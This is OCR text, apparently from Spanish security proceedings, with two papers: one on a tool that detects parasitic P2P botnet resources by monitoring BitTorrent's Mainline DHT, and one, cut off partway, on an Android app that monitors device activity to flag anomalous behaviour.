BitTorrent es una red de comparticién de archivos P2P en
Internet. Sobre dicha red se comparten muchos archivos con
diferentes formatos y contenido. El objetivo principal de
BitTorrent es llevar a cabo una comparticion distribuida de
archivos por un nimero elevado de clientes, motivando a su
vez que aquellos que hayan descargado los archivos, los
compartan con posterioridad. Los archivos que se comparten
en la red de BitTorrent son llamados recursos, mientras que
los clientes son llamados pares (peers) 0 nodos.

El presente trabajo, trabajo realiza la monitorizacion de los
recursos de la red de Mainline. Esta red es una
implementacion de Kademlia usada por clientes de
BitTorrent. Al ser una implementacién de Kademlia, utiliza
el protocolo DHT, el cual hace que la red consiga un caracter
distribuido, evitando la utilizacion de tracker centralizado
que era uno de los problemas principales de la red de
Bittorrent. Por otro lado, en esta red, tanto los recursos como
los nodos son identificados con un identificador Gnico de 160
bits.

De todos los mensajes que se intercambian en la red de
Mainline, en este proyecto interesa la monitorizacion de los
mensajes del tipo announce_peer de una zona concreta de la
red de Mainline. Asi, se va a permitir conocer qué nodos
comparten qué recurso en cada instante de tiempo.

I1l. ESTRUCTURA DE LA HERRAMIENTA DE DETECCION DE
BOTNETS PARASITAS P2P

Una vez descrito los conceptos fundamentales de Bittorrent,
ahora se presenta el sistema de deteccion de botnets parasitas
del que hace uso la herramienta desarrollada.

En este sistema de deteccién se supone e intuye que los
recursos que sean compartidos por usuarios legitimos en
redes P2P van a tener un comportamiento diferente aquellos
recursos que sean pertenecientes a una botnet parésita P2P.

De esta forma el sistema de deteccidn esta basado en 2 tipos
de modelos de comportamiento:

e Modelo de comportamiento asociado a un recurso
legitimo.

e Modelo de comportamiento asociado a un recurso
botnet.

Los modelos de comparticién de recursos van a venir
determinados por la evolucion temporal del nimero de nodos
P2P que comparten un recurso concreto (nr(k)). En este
Trabajo se esta interesado en aquellos recursos que son
populares, es decir que durante un cierto periodo de tiempo
son compartidos por un gran ndmero de nodos ya que se
considera que los recursos botnets van a pertenecer a este
grupo.

En todo recurso popular
fundamentales:

e Fase de comparticion: Al comienzo de la comparticion el
recurso cuenta con pocos nodos que lo estén
compartiendo. Poco a poco, la popularidad del recurso va

se encuentran dos fases

aumentando hasta que llega un periodo en el cual el
recurso es compartido por un ndmero elevado de nodos.
Una vez pasa este periodo, el interés de los clientes por
este recurso decrece rapidamente hasta alcanzar un punto
desde el que la disminucidn del ndmero de nodos se hace
mas suave.

e Fase de desaparicion: Esta fase abarca el periodo desde
el punto en el cual la disminucién del nimero de nodos
es mas suave, hasta que el recurso desaparece, es decir,
hasta que no es compartido por ningun cliente
desapareciendo de esta forma de la red.

Conociendo las distintas fases de la evolucion de nr() para
un recursos popular, y asumiendo que un recurso botnet se
comporta de forma diferente a un recurso legitimo. Este
sistema de deteccion esté4 basado en 2 principios:

e La primera caracteristica es que un recurso botnet debe
ser un recurso popular. Estos recursos van a estar
compartidos por un gran nimero de nodos, es decir van a
ser recursos populares. Cuando un botmaster actualiza el
cédigo del bot o envia comandos, todos los bots deben
descargar el recurso botnet. Esto implicara un gran
namero de descargas.

e Por otro lado la segunda caracteristica a tener en cuenta
es que los recursos botnets deben presentar un tiempo de
vida breve, ya que este recurso apunta directamente al
botmaster y a los nodos que forman la botnet. Esto hace
que en comparacion con un recurso legitimo, en la fase
de desaparicion, nr(k) va a sufrir una caida bastante
abrupta y asi se establece un umbral de caida.

En el siguiente esquema, se muestra el sistema de deteccion
propuesto. En él, se aprecia que una vez realizada la
monitorizacion de la red de Mainline durante un periodo de
monitorizacién de una hora, se lleva a cabo el procesado de
los mensajes de tipo announce_peer que se han recolectado.
Durante la fase de entrenamiento, se filtran aquellos recursos
que son legitimos y posteriormente se establecen los
umbrales de popularidad y caida que determinan en la fase de
deteccion si un recurso va a ser andmalo o no. Asi, si durante
la monitorizacién de un recurso, este recurso es popular y
ademas sufre una caida abrupta en nr(k) que supera el umbral
de caida establecido , este recurso sera marcado como
anémalo.

IV. DISENO E IMPLEMENTACION DE LA HERRAMIENTA

A continuacién, una vez conocido el sistema de deteccién
en el cual se basa esta herramienta, se lleva a cabo la
explicacion del disefio y la implementacion de la misma. En
esta imagen se observa los 3 mddulos principales de los que
consta la herramienta:

Médulo de deteccion de bétnets parasitas

Entrenamiento
Filtrado de Umbrales de

[ recursos popularidad

| legitimos y

| a3

| U

|

Médulo de monitorizacion

Deteccidn

Fig. 1. Arquitectura funcional del sistema de deteccion de botnets
parésitas P2P.
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Paquete de ejecucion del médulo de monitorizacion

Modulo

Interfaz grafica de la
herramienta

Fig. 2. Disefio e implementaciéon de la herramienta de deteccion de
botnets parasitas P2P.

e Modulo de monitorizacion.

e Modulo de deteccion preprocesado y descarga
automatica de recursos anémalos.

e Interfaz grafica de la herramienta.

Una vez iniciada la herramienta, el modulo de
monitorizacion comienza la monitorizacion de una zona de la
red de Mainline y cada periodo de monitorizacién genera un
fichero con los resultados de la monitorizacién. En concreto,
genera un fichero con informacion acerca de los mensajes
announce_peer que se han compartido.

Posteriormente, para cada periodo de monitorizacion el
modulo de deteccion lleva a cabo el procesado de estos
ficheros para posteriormente detectar aquellos recursos que
son anémalos en base al sistema de deteccion de [2]. Por
altimo, aquellos recursos que son detectados como andémalos,
son puestos en descarga en servidor de Transmission-
Remote, cumpliendo de esta forma la automatizacion de la
descarga de aquellos recursos que son andmalos.

Por otro lado, a través del mddulo de la interfaz grafica,
vamos a tener informacion en cuanto a:

e Los resultados obtenidos durante la monitorizacién.

e Estadisticas sobre el procesado de los datos.

e Resumen de anomalias detectadas.

e Listado y evolucién de los recursos que estdn en
descarga en el servidor de Transmission-Remote.

Esta interfaz grafica estd formada por 2 ventanas
principales:

e Ventana de configuracion de preferencias: permite
al usuario el establecimiento de los parametros
necesarios para llevar a cabo la monitorizacién, la
deteccion y la descarga de recursos andmalos.

e Ventana del programa: Recoge los resultados
obtenidos  durante el  procedimiento  de
monitorizacion, deteccién y descarga de recursos
anoémalos. En concreto, esta interfaz estd formada
por 3 pestafias distintas:

- Estadisticas generales: muestra informacion
relativa al procedimiento de monitorizacion de
recursos anémalos y al procesado de dicha
informacién. Dispone de una grafica en la que
se puede visualizar la evolucion temporal del
nimero de mensajes que se han enviado y
recibido a lo largo del tiempo, asi como la
evolucion temporal del numero de peers
vecinos con los que la herramienta cuenta en
cada momento.
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Preferences

Select Bootstrap file:* - |

Bootstrap name:*

set Zone:*

Set Interface:*

Popular Threshold: 100

Fall Threshold 2

Transmission Server:

Transmission User:

Transmission password:

oK

Fig. 3. Ventana de configuracién de preferencias.

- Pestafia de recursos monitorizados: Muestra
informacién relativa a cada recurso procesado
durante un periodo de monitorizaciéon. En
concreto y como se puede ver en la Figura 4, se
muestra informacién relativa a los nodos que
comparten el recurso, asi como el nimero de
nodos que lo comparten y la caida sufrida con
respecto al periodo de monitorizacién anterior.
Por otro lado, se puede visualizar en una gréfica
la evolucién temporal del nimero de nodos que
han compartido ese recurso. En esta pestafia
también existe una serie de filtros que el usuario
investigador puede aplicar para resumir la
informacién a lo que a él le convenga.

- Pestafia de recursos descargados: en esta
pestafia se muestra una lista con aquellos
recursos que ya han sido descargados a través
del servidor de Transmission-Remote. Asi como
se visualiza una lista de aquellos recursos que se
encuentran actualmente en descarga y su
progreso.

V. EVALUACION EXPERIMENTAL DE LA HERRAMIENTA

La fase de evaluacion y test de la herramienta se ha
realizado en una maquina servidora ubicada en el edificio
CITIC de la universidad de Granada. Ha sido utilizada
durante un periodo de tiempo de 3 semanas obteniendo
resultados satisfactorios.

A continuacion, se muestra el funcionamiento paso a paso
de la herramienta y asi se comprueba su correcto
funcionamiento.
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Fig. 4. Ventana del programa.

En primer lugar, una vez que la herramienta es iniciada, se
despliega la ventana de configuracién de preferencias. Aqui,
se estableci¢ los siguientes pardmetros:

- La zona de monitorizacion de la red de Mainline
elegida ha sido la 96. Asi, todos los recursos cuyo
identificador empiecen por el prefijo 96, van a ser
monitorizados.

- Lainterfaz de red elegida es la eth0, correspondiente
con la linea de acceso a internet del servidor.

- El umbral de caida es de 200 y el umbral de
popularidad 100, de forma que aquellos recursos que
superen estos umbrales, serdn marcados como
recursos anémalos y posibles recursos botnets.

- Por otro lado, la herramienta esta disefiada para que
el servidor de descarga de recursos pueda estar
instalado de una maquina independiente de donde se
encuentra en funcionamiento la herramienta. Por
eso, cuenta con esta serie de campos donde el
usuario puede determinar los parametros necesarios
para realizar el login.

En la pestafia de Estadisticas generales, como se puede
observar en la Figura 5, se muestra el nimero de recursos
diferentes que han sido procesados y el nimero de recursos
que son populares durante ese periodo de monitorizacion, en
funcion del umbral de popularidad ya establecido. También
se muestra el nimero recursos que han aparecido nuevos, asi
como el nimero de recursos que tienen en comdn con
respecto al periodo de monitorizacion anterior. En concreto,
para este periodo de monitorizacién se han monitorizado
7949 recursos, de los cuales 157 son populares. Con respecto
al periodo de monitorizacion anterior, 5354 recursos son
comunes y 2595 recursos han aparecido nuevos. De este
periodo de monitorizacion que se ha propuesto como
ejemplo, se puede decir que el nimero de recursos que se han
procesado se encuentra en la media de los recursos que se
procesan para cada periodo de monitorizacién. Por otro lado,
es destacable la cantidad de recursos nuevos que han
aparecido con respecto al periodo anterior.

La interfaz grafica también muestra informacion concreta
de cada uno de los recursos que han sido monitorizados

Number of Resources: 7949 Resources in common: 5354

Popular Resources: 157 2595

New Resources:

Fig. 5. Resumen de estadisticas generales después del preprocesado de la
informacion de monitorizacion.

durante ese periodo 8. En la pestafia de Recursos
monitorizados, el usuario puede contemplar para cada
recurso, el nimero de nodos que comparten y la caida sufrida
en el ndmero de nodos que lo comparten con respecto al
periodo de monitorizacion anterior. Una utilidad clave que
ofrece la interfaz es la utilizacion de distintos filtros que
permiten resumir toda la informacién recopilada en
informacién Util para el usuario de la herramienta.

Si el usuario selecciona un recurso determinado de la lista,
se presenta informacion referente a los mensajes
announce_peer que el sistema recibié de este recurso. En
concreto, se detalla: el instante de tiempo en el que llegé el
mensaje, la lista de identificadores de nodo que comparten al
recurso con sus respectivas direcciones IP y puertos, asi
como la nacionalidad de cada uno de estos nodos.

Una vez seleccionado un recurso, también es posible
visualizar en una gréfica la evolucion del nimero de nodos
que lo han compartido a lo largo del tiempo, simplemente
pulsando el botdén Show Chart de la interfaz.

En la figura 6 se muestra un ejemplo de lo anteriormente
descrito. Se puede ver como para el recurso seleccionado se
despliega informacién en cuanto a los nodos que lo
comparten, asi como la evolucién temporal del mismo.
Casualmente, también se aprecia que dicho recurso ha
experimentado una caida mayor que el umbral especificado
(200). Este recurso, siguiendo el procedimiento que lleva a
cabo el modulo de deteccidn, va a ser marcado como recurso
anémalo y posteriormente va a ser puesto en descarga a
través del servidor de Transmission-Remote.

La herramienta, como ya se ha comentado, también ofrece
la posibilidad de ver el historial de aquellos recursos que han
sido andmalos a lo largo del tiempo. Se puede comprobar
cémo el recurso de la Figura 6, aparece en la lista de recursos
anémalos en la Figura 7. Por tanto, se puede deducir que el
procedimiento de deteccion de recursos andmalos que realiza
la herramienta se realiza de forma satisfactoria.

Announces

Fig. 6. Resumen de estadisticas generales después del preprocesado de la
informacién de monitorizacion.
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Fig. 7. Resumen de estadisticas generales después del preprocesado de la
informacion de monitorizacion.

Una vez un recurso es marcado como anémalo, se procede
a la descarga automética del mismo a través del servidor
Transmission-Remote. El usuario, a través de la pestafia de
recursos descargados, puede ver qué recursos que estan
actualmente en descarga, pudiendo observar su progreso de
descarga, asi como informacion sobre el recurso. Ademas se
ofrece una lista con aquellos recursos que ya han sido
descargados y que se encuentran en el directorio de descargas
del servidor Transmission-Remote.

Durante el procedimiento de deteccion, se ha detectado que
hay un recurso anémalo correspondiente al de la Figura 6.
Este recurso ha sido puesto en descarga de forma automatica
en el servidor de Transmission-Remote, y a través de la
interfaz grafica se puede comprobar su progreso asi como
informacién adicional del mismo. (Figura 8).

VI. CONCLUSIONES

En este Trabajo Fin de Grado se ha disefiado e
implementado una herramienta de deteccién de botnets
parésitas P2P que permite, desde una misma aplicacién, la
monitorizacion de recursos de la red, la deteccién y la
descarga automatica de recursos anémalos, asi como la
presentacion de resultados a través de una interfaz gréfica.

Las contribuciones méas destacables de la herramienta son
las siguientes:

e La herramienta implementada permite llevar a cabo una
monitorizacion continua de una zona de la red de
Mainline elegida por el usuario.

s Downloaded Resources

Fig. 8. Resumen de estadisticas generales después del preprocesado de la
informacién de monitorizacién.
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e Como consecuencia del punto anterior, el sistema extrae

un modelo de normalidad de los recursos que se estan
compartiendo en la red de Mainline, y en funcion de éste,
detecta posibles anomalias que pueden pertenecer a una
botnet parasita P2P.

e Abordando uno de los objetivos fundamentales del
proyecto, la herramienta permite la descarga automética
de aquellos recursos que han sido detectados como
anémalos. Con esto se consigue que el usuario de la
herramienta no tenga que preocuparse de analizar qué
recursos son anémalos, y para éstos, llevar a cabo su
descarga. Asi, se permite comprobar la naturaleza
anémala del mismo, verificando si realmente es un
recurso perteneciente a una botnet parasita P2P.

e Ademés, la herramienta permite la presentacion de los
resultados obtenidos en una interfaz gréfica. Asi, el
usuario es capaz de extraer conclusiones del
procedimiento de deteccion de botnets parasitas P2P de
una forma sencilla y gréfica. Por otro lado, esta interfaz
permite la configuracion de parametros del sistema con
los que llevar a cabo la monitorizacién, la deteccion y la
descarga de recursos anémalos. Esto hace posible que el
usuario no tenga que preocuparse de modificar codigo de
programacion y que toda la configuracion se haga de
forma gréfica e intuitiva.

o Através de esta interfaz, la herramienta también permite
la descarga de aquellos recursos que, aunque no son
detectados como andmalos por la herramienta, pueden
tener un caracter ilégico para el usuario y quizas interese
su descarga.

e Lainterfaz gréafica de la herramienta ofrece la posibilidad
de filtrar la informacion recolectada durante el
procedimiento. Esto permite que la herramienta sea
mucho mas dinamica y hace que el usuario solamente
contemple aquellos datos que realmente son de especial
interés para él. En concreto, la herramienta permite el
filtrado de recursos cuya caida, en el nimero de nodos
que los comparten, esté dentro de un intervalo
determinado por el usuario, el filtrado de recursos en
funciébn de la nacionalidad de los nodos que los
comparten y el filtrado de recursos en funcién del
nimero de nodos que los comparten.

e Asi, todos los puntos anteriormente citados estan
unificados en una sola herramienta y esta es la mayor
aportacion del proyecto. De esta forma, el usuario no
tiene porqué preocuparse de iniciar distintos médulos ni
programas independientes. Ademas, la herramienta se
encuentra desarrollada en un Unico lenguaje de
programacion (Java) dotando de mayor integridad a la
misma.

e Por dltimo, los resultados obtenidos durante la de
experimentacion y validacion de la herramienta fueron
coherentes con lo esperado. Aunque no ha sido posible la
deteccion de ninguna botnet parésita P2P.
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Resumen— EI ndmero de dispositivos moviles ha
sufrido un crecimiento muy répido n los Gltimos afios,
siendo cada vez mas adoptados para tareas personales y
profesionales. Actualmente, el mercado esta liderado por
Google, con Android como sistema operativo y Play Store
como plataforma de venta. Este hecho provoca que los
desarrolladores de malware estén cada vez mas
interesados en centrar sus ataques sobre dispositivos
Android. Por tanto, los riesgos de seguridad asociados a
este tipo de equipos aumentan constantemente y, aunque
existe una serie de propuestas enfocadas a la seguridad
Android, esto sigue siendo un gran reto en estos entornos.
En este contexto, este trabajo presenta una nueva
herramienta capaz de monitorizar y analizar el perfil de
actividad tipico de un usuario para estimar el modelo
asociado de comportamiento “normal”. Basado en él, se
procedera al disefio y desarrollo de un mddulo que
permita la clasificacibn de actividades normales o
anémalas a fin de determinar la posible ocurrencia de
eventos maliciosos.

Palabras clave— Anomalia, comportamiento, deteccién,
dispositivo Android, malware, seguridad.

I. INTRODUCCION

Los dispositivos moviles son cada vez mas aceptados por

los usuarios de todo el mundo. Solo considerando la venta
de smartphones, estos ya han superado en cantidad a la venta
conjunta de computadores persoanles y portatiles. Algunos
estudios, como [1], afirman que el nimero de tablets y
teléfonos inteligentes en los proximos afios estara alrededor
de un centenar de veces la de PC y portétiles.

Concretamente, desde el afio 2011, Android ha demostrado
un gran posicionamiento en el mercado, haciendo crecer su
volumen de dispositivos como ningln otro sistema operativo
lo ha hecho [2]. La Fig. 1 muestra el dominio de Android
durante los afios 2011-2014.

A pesar de este gran éxito, los dispositivos inteligentes
presentan una menor seguridad y un mayor ndmero de
problemas de privacidad frente otro tipo de computadores en
muchos aspectos. Esto se debe a varios factores, como la

incorporacion de numerosos sensores y elementos de
comunicacion (Wi-Fi, Bluetooth, GPS, etc.) capaces de
acceder a informacion altamente sensible sobre el usuario
(localizacion, grabacién de audio, imagenes y video desde su
entorno, etc.) [3]. Otra fuente muy importante que provoca la
mayoria de problemas de seguridad es la capacidad de
incorporar aplicaciones de terceros en los dispositivos,
principalmente de mercados no oficiales [4]. En el modelo de
mercado abierto, los usuarios son libres de instalar
aplicaciones de cualquier mercado, pudiendo estas contener,
con mayor probabilidad, cédigo malicioso.

La proliferacion, unida al aumento de informacion
personal y confidencial almacenada en dispositivos Android,
las delicadas operaciones realizadas a través de ellos y el
significativo incremento de vulnerabilidades a las que estan
expuestos, han provocado un crecimiento exponencial en la
presencia de malware desarrollado especificamente para
estos dispositivos [5].

De acuerdo con el informe de amenazas moviles publicado
por Juniper Networks en 2012, el nimero de variantes de
malware para Android aumenté un 3.325,5% durante 2011 y
un 614% entre 2012 y 2013 [6]. Un informe similar de F-
Secure revela que el nimero de aplicaciones maliciosas en
Android recibidas durante el primer trimestre de 2012
aumentd de 139 a 3.063, en comparacién con el primer
trimestre de 2011 [7]. A finales de 2012 ya representaban el
97% del total de malware en moéviles, segin McAfee [8].
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Fig. 1. Volumen a nivel mundial de los distintos OS en smartphones a
partir de 2011.
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Il. ESTADO DEL ARTE

Debido a los grandes problemas expuestos en la Seccién I, en
estos Ultimos afios han sido propuestas varias soluciones para
reforzar la seguridad en entornos Android. Varias de ellas se
refieren a sistemas para monitorizar las actividades del
dispositivo. De esta manera, el usuario puede hacerse una
idea muy intuitiva de la seguridad de este, pudiendo detener
aplicaciones que utilizan permisos no deseados, desactivar la
conexion a la red peligrosas, etc.

Una de las primeras herramientas presentadas es Network
Log, la cual monitorizada las conexiones de red realizadas
por las distintas aplicaciones instaladas en el dispositivo. Se
proporcionan algunos datos de interés sobre dichas
conexiones como las direcciones de origen y de destino, los
puertos y los bytes transmitidos. Otra herramienta, OS
Monitor, no solo muestra las conexiones, sino también
informacion sobre los procesos ejecutados, mostrando su
porcentaje de uso en el sistema y la cantidad de memoria
usada. Adicionalmente, es capaz de obtener informacién
general sobre el sistema (estado de la bateria, uso de la CPU
y memoria en el sistema). Otra herramienta digna de
mencién es CONAN Mobile, la cual incluye el seguimiento
de conexiones IP, de permisos, la clasificacion de estos por
nivel de seguridad, cambios de la conexidn inalambrica, etc.

Mas alla de la simple monitorizacion, las herramientas de
deteccion persiguen determinar y, en su caso, notificar al
usuario sobre actividades no deseadas. Para su
implementacion existen dos técnicas principales: estaticas y
dinamicas, en funcion del tipo de anélisis realizado. La
deteccion dindmica suele ser eficaz en la identificacion de
actividades maliciosas desconocidas, pero implica una
sobrecarga significativa. Por el contrario, los métodos
estaticos inducen una pequefia sobrecarga en tiempo de
ejecucion pero son menos eficientes en la bisqueda de
eventos maliciosos previamente no observados, pudiendo
detectar solo los conocidos.

En los analisis estaticos se decompila el cédigo de la
aplicacion y se analiza. Es muy comdn hacer un estudio de
los permisos, como por ejemplo la herramienta Stowaway
[9]. Por su parte, en [10] se propone un método de deteccion
basado en el analisis de los ficheros manifest que incluyen las
aplicaciones Android. Primero se extrae la informacion
descrita en el manifest (categoria, nombre de cada permiso,
nombre de procesos, prioridad, nimero de permisos, etc.).
Tras ello, la informacion se compara con algunas palabras
clave de una lista predefinida para calcular el nivel de
malignidad de cada aplicacion. Finalmente, este nivel o
puntuacién se compara con un valor umbral. Si se supera
este, la aplicacion es considerada como maliciosa.

Otros sistemas como Woodpecker [11] o ComDroid [12]
analizan los permisos que una aplicacién expone a otras
aplicaciones.

También existen herramientas mas concretas, como
DroidMOSS [13], que analizan el codigo decompilado para
detectar aplicaciones re-envasadas distribuidas a través de
mercados no oficiales.

Por lo que respecta a las técnicas de deteccion dindmica,
suelen usarse algoritmos de aprendizaje automatico como los
contemplados en Andromaly [14] o MADAM [15].
Andromaly utiliza el analisis dindmico para realizar
supervisiones a partir de informacién tal como el uso de

CPU, los procesos en ejecucion y el nivel de la bateria. Sobre
ello, utiliza el aprendizaje automatico basado en anomalias
para clasificar las aplicaciones. También MADAM utiliza 13
caracteristicas para detectar malware a nivel kernel y de
usuario.

I11.  ANALISIS DE REQUISITOS

La solucion der seguridad maévil aqui planteada consiste en
una aplicacion para monitorizar y detectar comportamientos
anémalos en  dispositivos  Android, describiéndose
seguidamente sus principales requisitos, tanto funcionales
como no funcionales.

A. Funcionales

Los requisitos funcionales son declaraciones de los servicios
que debe proporcionar el programa y de como se debe
comportar en situaciones determinadas. Brevemente, estos
son:
e La aplicacion debe ser capaz de monitorizar en tiempo
real los aspectos mas relevantes del dispositivo.

e Se debe mostrar un historial con todas las
notificaciones indicando la fecha en la que se
produjeron. Se podran eliminar las que se deseen.

e La herramienta tiene que indicar las conexiones IP y el
puerto que cada aplicacién esta realizando en tiempo
real. Ademas, debe mostrar el trafico promedio
transmitido y recibido, en bps.

e Debe realizar deteccién de anomalias en background,
sin precisar la accion directa del usuario.

e El usuario puede incluir especificamente algunos
estados del dispositivo no permitidos.

B. No funcionales
Los requisitos no funcionales especifican criterios que
pueden usarse para juzgar la operacién de un sistema en lugar
de sus comportamientos especificos. Asi, estos requisitos se
refieren a caracteristicas del sistema tales como fiabilidad,
accesibilidad, usabilidad, estabilidad, rendimiento, etc.

Estos son:

e La aplicacion serd fiable, es decir, la informacion

proporcionada debe ser representativa y coherente.

e Controlara internamente los errores y excepciones que
se puedan producir.

e El sistema serd capaz de almacenar datos de manera
que estos queden almacenados después de finalizar la
aplicacion.

e Las notificaciones se mostraran en la barra de estado
de Android de forma visible y clara para el usuario.

e  Permitird la inclusién de nuevos modulos facilmente.

e En términos de rendimiento, la interfaz de usuario no
debe ser bloqueada aunque se realicen tareas de largo
tiempo de procesamiento.

e Hade ser de bajo consumo energético.
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Fig. 2. Arquitectura del sistema organizada en capas.

IV. DISENO E IMPLEMENTACION

La herramienta pretendida ha sido concebida en base a la
monitorizacion del dispositivo desde tres perspectivas:

e Estado (encendido/apagado) de los componentes
hardware multimedia (pantalla, cdmara, altavoz) y las
interfaces de comunicacién (Wi-F, Bluetooth, GPS,
interfaz 3G/4G).

e Aplicaciones instaladas y en ejecucién en tiempo real,
junto a los permisos de cada una.

e Comunicaciones, tanto IP como de voz.

A partir de esta informacion monitorizada, se procedera a la
deteccion de anomalias para determinar y notificar las
actividades inesperadas en base a dos modelos: de
normalidad y heuristico.

A. Arquitectura del sistema

La implementacién de la herramienta sigue un disefio
modular, por capas, de forma que cada capa proporciona un
conjunto de servicios a la inmediatamente superior.

La arquitectura del sistema final estar& compuesta por
diferentes capas, médulos y sub-médulos, obteniendo asi un
mayor rendimiento. Debido a este hecho, una caracteristica
importante es su escalabilidad, resultando muy fécil la
inclusion de nuevos médulos y funcionalidades.

En concreto, tres son las capas principales (Fig. 2). La capa
hardware es el conjunto de componentes electrénicos
utilizados por la aplicacion. La capa OS se refiere al sistema
operativo responsable de gestionar todos los recursos
hardware pertenecientes a la primera capa. En este caso,
Android. La Gltima capa es la de aplicacion.

Para un rendimiento 6ptimo, el software se divide en cuatro
madulos:

e Librerias externas: médulo formado por Android SDK
(Software Development Kit), el cual proporciona las API
necesarias para la creaciéon de aplicaciones Android.

e Mddulo de monitorizacion: se basa en cuatro sub-
moédulos encargados de monitorizar los recursos
hardware, aplicaciones, comunicaciones IP y llamadas de
voz, respectivamente. Para ello, estos sub-modulos se
han implementado mediante la llamada a las librerias de
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Fig. 3. Interfaz principal compuesta por dos partes: monitorizacion y
gestion de la deteccion de anomalias.
SDK.

e Modulo de deteccidn: determina las actividades
inesperadas a partir de los datos obtenidos por el médulo
de monitorizacion.

o Interfaz gréfica de usuario: permite visualizar la
informacién monitorizada y configurar la deteccion de
anomalias de una manera sencilla. Se compone de un
gran numero de "pantallas", a las que es posible acceder
por medio de la interfaz principal (Fig. 3). Esta presenta
varios botones para gestionar las tres perspectivas
enfocadas, ofreciendo la opcion de llevar a cabo el
proceso de deteccion de anomalias por separado. De esta
manera, el usuario puede elegir cuando comenzar y
terminar la fase de entrenamiento y la blsqueda de
actividades inesperadas para cada uno de los elementos
monitorizados (se usardn para ello los botones “On/Off
States Register” y "On/Off Notifications™).

Interfaces

Applications 1P Connections

0®Q

Motifications

On/Of Training Stage

De estos médulos, se han implementado los tres Gltimos.
Se ha usado para ello Eclipse, un software compuesto por un
conjunto de herramientas de cddigo abierto para desarrollar
varios tipos de proyectos.

B. Modulo de monitorizacion

De acuerdo a lo anteriormente establecido, tres seran los tipos
de actividades/procesos monitorizados: interfaces,
aplicaciones y comunicaciones.

Sub-médulo de monitorizacion en elementos hardware. La

funcionalidad de este sub-mdédulo es comprobar el estado de

las interfaces de comunicacion y los dispositivos multimedia.

Para ello, el proceso que se sigue es:

1. Comprobar si el dispositivo mévil en cuestion esta
provisto por la interfaz indicada.

2. Si este es el caso, se accede a la correspondiente
biblioteca externa para conocer el estado. El vector i; es
un vector definido como i; = [ily, i2¢, i3y, 14y, 15 16y, i7¢].
Los tres primeros valores corresponden a las interfaces
de las comunicacion: Wi-Fi, Bluetooth, 3G/4G y GPS,
respectivamente. Por su parte, los tres Gltimos valores se
refieren al hardware multimedia: pantalla, camara y
altavoz, respectivamente. Este vector es calculado
periédicamente cuando el usuario presiona el botdn de
monitorizacion de los componentes hardware.

3. El estado de cada interfaz se almacena en la posicion
correspondiente del vector i. Cada interfaz puede tomar
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Fig. 4. Implementacion de las intrfaces graficas “Interfaces” y
“Graph”.
tres valores diferentes. El valor l6gico O se escribe
cuando la interfaz estd apagada, mientras que el 1 si esta
encendida. Sin embargo, si el dispositivo Android no
dispone de dicha interfaz, se almacena el valor X.

4. Finalmente, se consulta i; para mostrar la informacion
sobre la interfaz grafica. Si una interfaz ha tomado el
valor 1, se muestra en verde. Si es 0, en rojo. Y si es X,
en gris.

En la Fig. 4 se muestra el estado de cada interfaz durante
los dltimos 5 minutos, siendo el periodo de muestreo T=2
segundos. De esta manera, el usuario puede apreciar si una
interfaz 0 elemento multimedia se ha activado sin su
consentimiento. Es decir, si el usuario sabe a priori que un
recurso no se ha activado y de repente la grafica muestra lo
contrario, una aplicacion puede estar haciendo mal uso del
recurso.

Sub-maodulo de monitorizacién en aplicaciones. Por un lado,
para realizar el seguimiento mas completo posible sobre las
aplicaciones del sistema, la herramienta muestra el nombre,
el icono y la versidn de todas las aplicaciones instaladas (Fig.
5). Esta lista se obtiene desde el inicio del dispositivo, lo que
permite encontrar aplicaciones maliciosas que han sido
instaladas de forma oculta sin dejar rastro de ello.
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Fig. 5. Implementacion de las interfaces graficas “Applications
Installed” y “Applications Running”.

Por otra parte, se monitorizan las aplicaciones en ejecucion
en tiempo real. Esta supervisidn puede proporcionar al
usuario una idea sobre el nivel de seguridad que cada
aplicacion presenta. Asi, pueden detectarse comportamientos
maliciosos cuando aparecen aplicaciones en ejecucién no
iniciadas por el usuario. Algunos casos pueden ser malware
distribuido en varias aplicaciones o los conocidos ataques re-
delegacion (una aplicacion con un permiso especifico realiza
una tarea privilegiada en nombre de otra aplicacion maliciosa
que no tiene permiso).

Por Gltimo, como funcionalidades adicionales, sobre cada
aplicacion se incluye una descripcion de cada uno de los
permisos concedidos, explicando las acciones mas
sospechosas que pueden realizar. Asi, los usuarios expertos
pueden analizar e intuir la seguridad del dispositivo. También
puede ser iniciada o detenida cualquier aplicacion.

Sub-mddulo de monitorizacion en conexiones IP. Las
conexiones IP y las llamadas son dos formas bastante
distintas de establecer una comunicacidn. Serd importante
monitorizar ambas ya que esto podra permitir en ocasiones
evitar desde robo de informacion, tipico en conexiones IP,
hasta fraudes econdmicos, propios en el establecimiento de
Ilamadas.

Tradicionalmente, la monitorizacion del trafico IP ha sido
muy usada para determinar comportamientos sospechosos
mediante la apreciacion de desviaciones significativas en el
perfil “normal” del trafico. Por ello, la herramienta
pretendida mostrara el nimero total de conexiones en tiempo
real. Para cada conexion se indicara la direccion IP de
destino, el puerto de destino, el nombre del paquete, la
aplicacion responsable de la conexién IP y el icono de esta
(Fig. 6). Las conexiones podran ser vistas mediante el botdn
"IP Connections".

Por altimo, también se mostraran datos sobre la velocidad
de trafico:

e Trafico trasmitido/recibido actual: se medira el trafico
trasmitido/recibido entre muestra y muestra, y este se
dividira entre T (periodo con el que se toman las
muestras).

e Tréfico promedio trasmitido/recibido durante el Gltimo
dia: a partir de los valores de trafico medidos durante
el Ultimo dia, se realizara el promedio de todos ellos.

2 o - =
l?l IP Connections lgp Calls

Total IP Connections: 37

0 ~
Average Traffic Transmitted: 16890.0 bps Total Calls: 9 U
Average Traffic Received: 32395.0 bps
Actual Traffic Transmitted: 6098.0 bps
Actual Traffic Received: 2870.0 bps Clearall
1+
@ 745968577
YouTube
lcom.google.android.youtube @ 674256897
IPLocal: 192.168.1.25/51335
IPRemota:74.125.230.40/443
@ 685963214
YouTube
lcom.google.android.youtube @ 909565611
IPLocal: 192.168.1.25/50589
IPRemota:74.125.71.95/443
@ 600684219
g, WhatsApp
{ com.whatsapp @ 905111551
IPLocal: 192.168.1.25/50877
IPRemota:74.125.230.39/80
(D 902010203

Fig. 6. Implementacion de la interfaces graficas “IP Connections” y
“Calls”.
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A partir de toda esta informacidn, los usuarios un poco
mas expertos pueden obtener una gran cantidad de datos
sobre los equipos a los que se conecta el dispositivo mavil,
como la ubicacion, el nombre de dominio, el propietario, etc.
Ademas, gracias al nimero de puerto se puede conocer el
protocolo a nivel de aplicacion utilizado en cada
comunicacion. Los servicios més tipicos suelen tener un
puerto conocido: HTTP utiliza el puerto 80, HTTPS el 443,
SMTP el 25, etc.

Sub-mddulo de monitorizaciéon de Ilamadas. En la
monitorizacion de llamadas se pensé mostrar inicialmente un
